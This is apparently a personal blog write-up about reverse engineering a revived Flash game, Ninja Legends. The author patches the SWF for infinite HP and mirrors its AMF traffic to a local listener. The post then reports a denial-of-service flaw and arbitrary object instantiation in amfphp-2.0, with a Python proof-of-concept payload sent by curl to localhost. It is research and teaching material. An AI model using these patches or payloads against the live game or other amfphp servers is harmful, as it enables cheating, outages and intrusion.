Reversing a 14 year-old Flash game journey

Lately I’m so lazy and starts playing video games instead of learning new security stuff.

Suddenly, I tried to find 1 of my childhood game called ‘Ninja Saga’, a game on Facebook and apparently now it is closed.

Ninja Saga wall paper

However, there is a small group that tried re-creating the game and renamed it to ‘Ninja Legend’ on https://www.ninjalegends.net/ . So I tried downloading it and play to feel the nostalgia. However, I stumpled on a boss that I couldn’t beat. After 15 minutes trying to beat the boss with no success, I was frustrated ! Hence, as a sane person, I tried to view the source code of the game to see if I can change/mod something of my character to beat the boss.

Notice: this whole blog post is about my experience I had when I tried my first time into game reversing, I did not try to abuse these bugs to gain money or take advantages on any user/groups during the journey. For readers, please use this blog post for educational purpose only.

Decompile the game

Upon opening the game folder, I tried to decompile Ninja Legends.exe uing IDA but found nothing related to the game.

Ninja Saga source

So I tried googling different file extensions inside that folder, one of that is the file NinjaLegends.swf.

An SWF file is an animation that may contain text, vector and raster graphics, and interactive content written in ActionScript.

Bingo !!! So I quickly google how to decompile swf file because it is a binary file.

Multiple decompilers appeared, but the JPEXS Free Flash Decompiler was recommended the most on Google.

I downloaded and tried to use JPEXS decompiler. Overall, it has simple interface and straightforward UX.

My impression is that the decompiled code is not obfuscated and the ActionScript looks a lot like Typescript. There is also a Edit ActionScript button at the bottom that allow us to patch directly into the swf file.

Thus, I looked for codes that is related to the game’s battling system and came accross the function updateHealthBar and put in a code that updates my current_hp equal to max_hp whenever the game tried to update my character’s health:

public function updateHealthBar() : *
    {
        var _loc1_:* = this.getMovieClipHolder();
        _loc1_.hpBar.scaleX = this.current_hp / this.max_hp;
        if(this.player_team == "player" && this.player_number == 0)
        {
            // This is my code
            this.current_hp = this.max_hp;
            this.current_cp = this.max_cp;
            // End of my code
            BattleManager.getBattle()["char_hpcp"].txt_hp.text = this.current_hp + "/" + this.max_hp;
            BattleManager.getBattle()["char_hpcp"].txt_cp.text = this.current_cp + "/" + this.max_cp;
            BattleManager.getBattle()["char_hpcp"].hpBar.scaleX = this.current_hp / this.max_hp;
            BattleManager.getBattle()["char_hpcp"].cpBar.scaleX = this.current_cp / this.max_cp;
        }
    }

After this, I saved the file and hop into the game to check if my patched code worked or not. And here is the result:

After enemy attacks and when it is my turn, my health and mana automatically reach max again. So if there is no move that could kill me in 1 turn, I’m basically immortal 😁.

And after the battle, the game shows that I have successfully finished the mission and my character’s EXP increase !

Wait a minute, the game didn’t track the battle’s state whether the battle’s state was appropriate or not. If the server checked then it must have alerted the client and the server’s state are out of sync, because my character automatically replenish HP/MP during the fight.

This caught my attention and I tried looking further more into the game itself.

Game’s feature

Before diving into the reversing I want to list out some of the game’s feature.

Character’s Stats

The game took place like in Naruto, where you’re a Ninja and you can learn 1 or 2 types of NinJutsu which are: Wind, Fire, Lightning, Water, Earth. Each level up you can increase 1 stat point, each stat point when allocated boost your character’s strength like below:

Wind - 1 point gives:

Wind icon

  • +0.4% Dodge or chance that an attack will miss you.
  • +1 Agility. The player with the highest agility will act first.
  • +1% Damage bonus to Wind Ninjutsu.

Fire - 1 point gives:

Fire icon

  • +0.4% Damage to ALL damaging moves.
  • +0.4% chance of Comburstion buff: next attack on next turn will have +30% damage bonus
  • +1% Damage bonus to Fire Ninjutsu.

Lightning - 1 point gives:

Lightning icon

  • +0.4% Critical chance: critical attack deals 150% damage based on the normal damage.
  • +0.8% bonus damage to Critical strikes
  • +1% Damage bonus to Lightning Ninjutsu.

Water - 1 point gives:

Water icon

  • +30 CP (chakra point)
  • +0.4% Purify chance: purify remove all your character’s negative effect.
  • +1% Damage bonus to Water Ninjutsu.

Earth - 1 point gives:

Earth icon

  • +30 HP
  • +0.4% chance to reflect damage back to the attacker (Reactive Force).
  • +1% Damage bonus to Earth Ninjutsu.

Missions

  • You can go to mission room and complete missions for EXP.

  • You can challenge daily bosses that drops useful items to craft in Blacksmith store.

  • There are long-term events, which is also many types of bosses that drops useful items related to the current running event.

  • Online PVP among players.

  • Join clans.

Reversing & breaking the game

In the last section I’ve demonstrated how to become immortal in the battle system. Further code investigation also allow me to:

  • Modify dodge / comburstion / critical / purify / reactive force chance
  • Modify damage
  • Modify inflict status
  • Immortal

So basically I’ve done pwning the battle system. Apart from the battling system, the game also maintain server’s state for: user’s money, user’s token (real money P2W), character’s levels, account’s equipments & items, weapon and item drops from monsters, etc.

In order for the game to communicate with the server, it uses 4 different network classes:

ArenaNetwork:

class ArenaNetwork {
    public var TCP_IP:String = "68.183.216.145";
    public var TCP_PORT:Number = 6060;
    ...
}

I don’t see it uses anywhere so let’s skip this

PvpNetwork:

class PvpNetwork {
    public var TCP_IP:String = "68.183.216.145";
    public var TCP_PORT:Number = 6060;
    ...
}

There are some methods that send request and get response from server when we attempt to PVP.

SummerNetwork:

public class SummerNetwork {
    public var TCP_IP:String = "68.183.216.145";
    public var TCP_PORT:Number = 7000;
    ...
}

For the running Summer Event, that has unique bosses & items drop.

amfConnect:

   import flash.events.NetStatusEvent;
   import flash.net.NetConnection;
   import flash.net.Responder;

   public class AmfManager {
      public function service(param1:String, param2:Array, param3:Function) : *
      {
         new amfConnect().service(param1,param2,param3);
      }
   }

   public class amfConnect
      public function service(param1:String, param2:Array, param3:Function) : void
      {
         this.remotingGateway = "https://playninjalegends.com/amf_nl/";
         this.netConnect = new NetConnection();
         this.netConnect.connect(this.remotingGateway);
         this.netConnect.call(param1,new Responder(param3,this.erroneousResult),param2);
      }

This one is interesting, many features of the game uses this class like this:

  • amf_manager.service("CharacterService.buySkill", ...);
  • amf_manager.service("BattlePass.executeService", ...);
  • amf_manager.service("SystemLogin.getAllCharacters", ...);
  • amf_manager.service("ClanService.executeService", ...);
  • Over 30 places use amf_manager, so this is the main entrypoint into the game’s server.

The mission room

The main objective to reverse this feature is that I want to auto-complete mission and gain levels as fast as possible.

Below is the decompiled code when we try to do a mission:

this.main.amf_manager = new AmfManager(this);

// I don't know why they named it startFight
internal function startFight(param1:MouseEvent) : *
      {
         var _loc3_:* = undefined;
         var _loc4_:* = undefined;
         var _loc5_:* = undefined;
         var _loc6_:* = undefined;
         var _loc7_:* = undefined;
         var _loc8_:* = undefined;
         var _loc2_:* = MissionLibrary.getMissionInfo("msn_" + this.curr_target);
         Character.mission_level = int(_loc2_["msn_level"]);
         if(int(Character.character_lvl) >= int(_loc2_["msn_level"]))
         {
            _loc3_ = "";
            _loc4_ = "";
            _loc5_ = StatManager.calculate_stats_with_data("agility",Character.character_lvl,Character.atrrib_earth,Character.atrrib_water,Character.atrrib_wind,Character.atrrib_lightning);
            _loc6_ = 0;
            while(_loc6_ < _loc2_["msn_enemy"].length)
            {
               _loc8_ = EnemyInfo.getEnemyStats(_loc2_["msn_enemy"][_loc6_]);
               if(_loc3_ == "")
               {
                  _loc3_ = _loc2_["msn_enemy"][_loc6_];
                  _loc4_ = "id:" + _loc8_["enemy_id"] + "|hp:" + _loc8_["enemy_hp"] + "|agility:" + _loc8_["enemy_agility"];
               }
               else
               {
                  _loc3_ = _loc3_ + "," + _loc2_["msn_enemy"][_loc6_];
                  _loc4_ = _loc4_ + "#id:" + _loc8_["enemy_id"] + "|hp:" + _loc8_["enemy_hp"] + "|agility:" + _loc8_["enemy_agility"];
               }
               _loc6_++;
            }
            this.main.loading(true);
            _loc7_ = CUCSG.hash(_loc3_ + _loc4_ + _loc5_);
            this.main.amf_manager.service("BattleSystem.startMission",[Character.char_id,Character.mission_id,_loc3_,_loc4_,_loc5_,_loc7_,Character.sessionkey],this.onStartMissionAmf);
         }
         _loc2_ = null;
      }

For lazy people, basically the code above will load:

  • Our character’s character id
  • The Mission ID
  • The enemies’s data, which are loaded from MissionLibrary.getMissionInfo("msn_" + this.curr_target) and stored to _loc3_ and _loc4_
  • Our character’s stat in _loc5_
  • Finally, _loc7_ is a hash calculated from our character’s stat and enemies’ stat

Now because I want to analyze the request packet of new amfConnect().service(param1,param2,param3);, normally I would try to proxy this request through Burpsuite. However by viewing the documentation at https://help.adobe.com/en_US/FlashPlatform/reference/actionscript/3/flash/net/NetConnection.html , there is no proxy feature for flash.net.NetConnection.

Thanks to JPEXS I can patch the program easily, so I patched the class amfConnect into:

   public class amfConnect
        public function service(param1:String, param2:Array, param3:Function, toMyMachine:* = false) : void
      {
         if(!toMyMachine)
         {
            this.remotingGateway = "https://playninjalegends.com/amf_nl/";
            this.netConnect = new NetConnection();
            this.netConnect.connect(this.remotingGateway);
            this.netConnect.call(param1,new Responder(param3,this.erroneousResult),param2);
            this.service(param1,param2,param3,true);
         }
         else
         {
            this.remotingGateway = "http://mylocal.dev:7771/";
            this.netConnect = new NetConnection();
            this.netConnect.connect(this.remotingGateway);
            this.netConnect.call(param1,new Responder(param3,this.erroneousResult),param2);
         }
      }

This will allow the game to continue sending request and receiving response from the real server, but it also sends the same data into http://mylocal.dev:7771 for me to analyze.

Then, remember to put mylocal.dev into C:\Windows\System32\drivers\etc\hosts that point to my VM linux machine IP. (I’m playing the game on Windows).

Then within the VM machine, I only need to do a netcat listen, this is the result when I open the game.

Netcat listen success

Nice, we receive the request. Then, I tried to proxy the request to Burp for further analysis. And after removing some character in the request, what is this ?

Burp leak amf php

And by changing the User-Agent to AdobeAIR/50.2, and navigate to https://playninjalegends.com/amf_nl/ , we could see:

Ninja legend server

Pressing the source code button, it navigate us to https://github.com/silexlabs/amfphp-2.0 . Thus, let’s try finding vulnerability in this amfphp-2.0 framework.

Analyzing amfphp-2.0

I clone the git repo and tried to setup a docker image with a xdebug to debug in VSCode. Below is how amfphp-2.0 receive and process the request (some small details are hidden for easily understanding):

  • 1st: the data we sent to the Ninja Legend server was received at this file. The file tried loading the gateway, run service, and output
  • 2nd: the create gateway will read user’s input from $_GET, $_POST, and file_get_contents('php://input'); at this file
  • 3rd: Then, the code will reach this enormous function. However, the main points are:
    • 3a: first it gets the contentType of the request at this, and spawn the appropriate Deserializer class. Currently the framework supports 3 type of contentType: application/x-www-form-urlencoded, application/json, application/x-amf.
    • 3b: 2nd, it will deserialize the request based on the contentType, if it is application/x-www-form-urlencoded or application/json it is super simple, the server just use a simple json_decode to decode the message, like this. However, for application/x-amf it’s more complicated, I will cover this up later.
    • 3c: after it has done deserialized the request, it will pass the deserialized request into a service and this is where it process our message.
  • Our request is deserialized into the following form when written in JSON:
{
   "serviceName": "ServiceNameString",
   "methodName": "methodNameString",
   "parameters": anything
}

The request will be handled at here.

  • 4: Basically, the server will try to find a file that is located in /Amfphp/Services/ServiceNameString.php, and invoke the class inside the ServiceNameString.php file, running the class function methodNameString with parameters that we passed into. Luckily the amfphp-2.0 has an ExampleService.php that we can mimic this behavior at https://github.com/silexlabs/amfphp-2.0/blob/master/Amfphp/Services/ExampleService.php
  • 5: Thus, we can invoke the function returnSum using json (because it is easier to use) like this: Invoke function in phpamf-2.0
  • 6: And yes, the server has filtered the dot character ‘.’ so I cannot path traversal the ‘ServiceNameString’ to gain RCE 😓. We must know the ServiceName file name and the method name to correctly invoke the class function, we also must know how many parameters the function receive, because amfphp-2.0 also validate that at here.

Going back to the game

Thus, now I can write python script to automate the process of doing missions and completing missions. Below are 2 requests to do the mission and to complete the mission:

Start mission Game start mission

Finish mission Game finish mission

Thus, now I can automate anything using scripts, which is quite powerful. Now I could try finding bugs like SQL injections and stuff but I decided to stop because it would be illegal 😗.

Thus, I continue to dig deep into the amfphp-2.0 to see if there is any vulnerabilities for me to gain RCE.

Back to the application/x-amf deserialization

Inside the deserialization of application/x-amf, basically it will read the bytes in body from left to right, and for example when if stumple accross a byte \x02, the next 4 bytes it will read as a 4 bytes integer. The core and interesting implementation can be found here, which is:

// Initialize
$this->currentByte = 0;

protected function readByte() {
   return ord($this->rawData[$this->currentByte++]); // return the next byte
}

$type = $this->readByte();

public function readData($type) {
   switch ($type) {
      //amf3 is now most common, so start with that
      case 0x11: //Amf3-specific
            return $this->readAmf3Data();
            break;
      case 0: // number
            return $this->readDouble();
      case 1: // boolean
            return $this->readByte() == 1;
      case 2: // string
            return $this->readUTF();
      case 3: // object Object
            return $this->readObject();
      //ignore movie clip
      case 5: // null
            return null;
      case 6: // undefined
            return new Amfphp_Core_Amf_Types_Undefined();
      case 7: // Circular references are returned here
            return $this->readReference();
      case 8: // mixed array with numeric and string keys
            return $this->readMixedArray();
      case 9: //object end. not worth , TODO maybe some integrity checking
            return null;
      case 0X0A: // array
            return $this->readArray();
      case 0X0B: // date
            return $this->readDate();
      case 0X0C: // string, strlen(string) > 2^16
            return $this->readLongUTF();
      case 0X0D: // mainly internal AS objects
            return null;
      //ignore recordset
      case 0X0F: // XML
            return $this->readXml();
      case 0x10: // Custom Class
            return $this->readCustomClass();
      default: // unknown case
            throw new Amfphp_Core_Exception("Found unhandled type with code: $type");
            exit();
            break;
   }
   return $data;
}

Below are some bugs that I found when it deserialize the x-amf format:

1) Denial of service via parsing array length:

In the readArray function:

protected function readArray() {
   $ret = array(); // init the array object
   $this->amf0storedObjects[] = & $ret;
   $length = $this->readLong(); // get the length  of the array
   for ($i = 0; $i < $length; $i++) { // loop over all of the elements in the data
      $type = $this->readByte(); // grab the type for each element
      $ret[] = $this->readData($type); // grab each element
   }
   return $ret; // return the data
}

First it read the array length using readLong, which is 4 bytes, and then it tries to for loop through the array. The user input length could be 4 billion and exhaust the server’s CPU when sending multiple concurrent requests

2) PHP Arbitrary Object Instantiations in default setup

In the readCustomClass function:

protected function readCustomClass() {
   //not really sure why the replace is here? A.S. 201310
   $typeIdentifier = str_replace('..', '', $this->readUTF());
   $obj = $this->resolveType($typeIdentifier);
   $this->amf0storedObjects[] = & $obj;
   $key = $this->readUTF(); // grab the key
   for ($type = $this->readByte(); $type != 9; $type = $this->readByte()) {
      $val = $this->readData($type); // grab the value
      $obj->$key = $val; // save the name/value pair in the array
      $key = $this->readUTF(); // get the next name
   }
   return $obj;
}

The user input flows into $typeIdentifier variable as a string via readUTF function. Then, $typeIdentifier if passed into $this->resolveType($typeIdentifier);. After that, in the default setup of amfphp-2.0, it will lead to the file AmfphpVoConverter.php as the variable $voName, which then gets:

public function getNewVoInstance($voName) {
   $fullyQualifiedClassName = $voName;
   ...
   if (class_exists($fullyQualifiedClassName, false)) {
      $vo = new $fullyQualifiedClassName();
      return $vo;
   } ...

Thus, user can Instantiate any class that existed in the system. The below PoC shows how it is done:

f = open("f.txt", "wb")

def genInt(num: int):
    return num.to_bytes(2, 'big')

def genLong(num: int):
    return num.to_bytes(4, 'big')

def genUtf8(text):
    l = len(text)
    return l.to_bytes(2, 'big') + text

def pad(len: int):
    return b'a'*len

# header
payload = b"\x00\x03" + genInt(1)
payload += genUtf8(b'Credentials') # header name
payload += b'\x01' + pad(4) # required and pad
payload += b'\x10' # type customClass
payload += genUtf8(b'stdClass')
payload += genUtf8(b'userid')
payload += b'\x02' + genUtf8(b'admin') + genUtf8(b'password')
payload += b'\x02' + genUtf8(b'password') + genUtf8(b'dump_key')
payload += b'\x09'

# message, 1 messages
payload += genInt(1)
payload += genUtf8(b'ExampleService.returnOneParam')
payload += genUtf8(b'response') + pad(4)

# This will cause server to call new PDO();
# which is error because it should have 1 param into the constructor
payload += b'\x0A' + genLong(1) + b'\x10' + genUtf8(b'PDO') + genUtf8(b'dump_key') + b'\x09'

f.write(payload)
f.close()

import os
os.system('curl -XPOST -H "Content-Type: application/x-amf" http://localhost:7771/Amfphp/ --data-binary "@f.txt" -x http://192.168.1.10:8080')

The server response: Image show PHP has instantiate object

Last words

Even though I couldn’t find a RCE vulnerability in amfphp-2.0, it was a fun journey. This journey cost me a week, including writing out this blog post.

Thank you for reading and happy hacking !!!